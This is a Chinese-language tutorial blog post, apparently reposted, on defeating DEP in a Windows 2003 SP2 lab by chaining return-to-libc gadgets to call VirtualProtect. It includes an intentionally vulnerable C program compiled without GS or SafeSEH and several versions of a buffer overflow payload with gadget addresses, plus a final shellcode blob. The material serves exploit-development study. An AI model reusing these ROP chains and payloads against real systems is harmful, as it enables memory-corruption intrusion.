我是靠谱客的博主 温婉紫菜,最近开发中收集的这篇文章主要介绍利用Ret2Libc挑战DEP之二——利用VirtualProtect,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

感觉最近作者给出的shellcode,有一种“他就是这样”、“这样的shellcode是最合理”的感觉了。刚开始看有点看不懂,但是跟着最终实现代码一点点跟,就会发现这个代码的巧妙之处。

0x01 环境

系统:Windows 2003 SP2

编译器:VS2008

注意编译选项:

release版本

禁用优化(C++——optimization disable)

GS禁用(C++——code generation——No GS)

safeseh禁用(Link——command line——添加:“/safeseh:no”)

0x02 调试步骤

1、实验代码

char shellcode[]="90909090.."
void test()
{
	char tt[176];
	memcpy(tt,shellcode,420);
}
int main()
{
	HINSTANCE hInst = LoadLibrary(L"shell32.dll");
	char temp[200];
	__asm int 3
	test();
    return 0;
}


2、查找virtualProtect函数地址。

这个函数可以使内存某一块区域开启可执行属性。



能够看到VirtualProctect会在压进ebp相关参数后调用真正的VirtualProtectEx函数,

这4个和我们有关的参数为:


查看MSDN后,参数分别是内存设置属性的起始地址(shellcode地址)、大小(FF)、属性值(0x40)、可写的内存地址。

这里来了,第一个本实验的重点。就是参数的设置。

先压栈的[ebp+0x14]是最后一个参数,这个地址必须是一个可写的内存,我们将[ebp+0x14]根据esp的值动态确定。

[ebp+0x10]是倒数第二个参数,是内存要设置的属性值。msdn中写道0x40是可读、可写、可执行。

[ebp+0xC]是要设置的内存大小,作者这里设置为FF=255>168+跳板指令字节数

[ebp+0x8]是设置的内存起始地址,这里是我刚开始比较难理解的,因为shellcode地址怎么动态确认呢?后来才发现我们根本没有必要进行精确定位,我们知道shellcode在我们esp的高地址处,只要把地址设置到esp,然后把大小设置为能够覆盖shellcode全部代码,这样这个区域的所有内容就都是可以执行的了。


3、修复EBP

因为参数和EBP相关,我们把EBP先给修复了。

ollyfindaddr——disable DEP——2003 SP2——找到地址0x7CBBD9BA

shellcode如下:

char shellcode[]=
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90"
"xBAxD9xBBx7C"//修正EBP

调试到修正ebp的retn 4


0x12FEA8是我们的溢出点,现在被修正后的EBP覆盖了,执行完之后,retn 4,esp到了12FEB4,这里正是EBP+8的位置,也就是我们要设置参数的位置,怎么把这里设置我们想要的参数?这需要极大的汇编语言应用能力和变通能力(作者如是说)


4、设置参数[ebp+8]————[ebp+0x14]

就像上个图中显示的esp指向了第一个参数的位置。通过esp+4,然后push esp,就可以把这个位置给设置成可写的了。esp+4的方法,我们很容易想到就是retn指令,这里用ollyfindaddr——custom search有个问题,就有有的地址是不可执行的。


把log文件导出:


选kernel32.dll、或者ntdll.dll里面的指令,而且不能带00,我最开始没有导出文件,选了一个lpk.dll和shell32.dll里面的指令,就告诉我说不能执行,不知道怎么确定这个执行属性?

retn之后,esp来到了12FEB8,第二个参数的位置,我们通过上一节的push esp,jmp eax指令,设置第一个参数的值。eax指向什么,我们马上就要讲到。

shellcode:

char shellcode[]=
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90"
"xBAxD9xBBx7C"//修正EBP
"x05xC1x94x7C"
"x90x90x90x90"
"xBFx7DxC9x77"
继续调试



如图我们已经把ebp+8给设置好了,ebp+0x10和0xC都是固定的,所以我们如果能够用三个pop,然后retn就可以到esp+0x18的位置了,还是老办法push esp jmp eax,这样巧妙的设置了ebp+0x14的值。

我们用eax指向这个pop pop pop retn的地址,这样设置完第一个参数就可以跳到这个指令执行了。设置完第4个参数同样跳到eax(pop pop pop retn)执行。

这个时候,4个参数都已经设置好了,第二次jmp eax中的3次pop再retn,我们把VirtualProtect地址放在这个retn里,就能够执行这个函数了。

shellcode:

char shellcode[]=
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90"
"x8Ax17x84x7C"//pop eax retn
"x0Ax1AxBFx7C"//pop pop pop retn
"xBAxD9xBBx7C"//修正EBP
"x05xC1x94x7C"//RETN
"x90x90x90x90"
"xBFx7DxC9x77"//push esp jmp eax
"xFFx00x00x00"
"x40x00x00x00"
"xBFx7DxC9x77"//push esp jmp eax
"x90x90x90x90"
"x90x90x90x90"
"xE8x1Fx80x7C"//修改内存属性VirtualProtect

执行到jmp eax了



0x05 跳板指令

我们走到了VirtualProtect函数里面,retn之前有一个pop ebp,所以shellcode中VirtualProtect函数地址下面一行用90填充,接下来就是跳板指令,选取jmp esp后。后面再跟16个字节的90填充,然后就是shellcode


shellcode 

char shellcode[]=
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90"
"x8Ax17x84x7C"//pop eax retn
"x0Ax1AxBFx7C"//pop pop pop retn
"xBAxD9xBBx7C"//修正EBP
"x05xC1x94x7C"//RETN
"x90x90x90x90"
"xBFx7DxC9x77"//push esp jmp eax
"xFFx00x00x00"
"x40x00x00x00"
"xBFx7DxC9x77"//push esp jmp eax
"x90x90x90x90"
"x90x90x90x90"
"xE8x1Fx80x7C"//修改内存属性VirtualProtect
"x90x90x90x90"
"xA4xDExA2x7C"//jmp esp
"x90x90x90x90"
"x90x90x90x90"
"x90x90x90x90"
"x90x90x90x90"
"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
"x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50"
"x53xFFx57xFCx53xFFx57xF8"



最后

以上就是温婉紫菜为你收集整理的利用Ret2Libc挑战DEP之二——利用VirtualProtect的全部内容,希望文章能够帮你解决利用Ret2Libc挑战DEP之二——利用VirtualProtect所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(34)

评论列表共有 0 条评论

立即
投稿
返回
顶部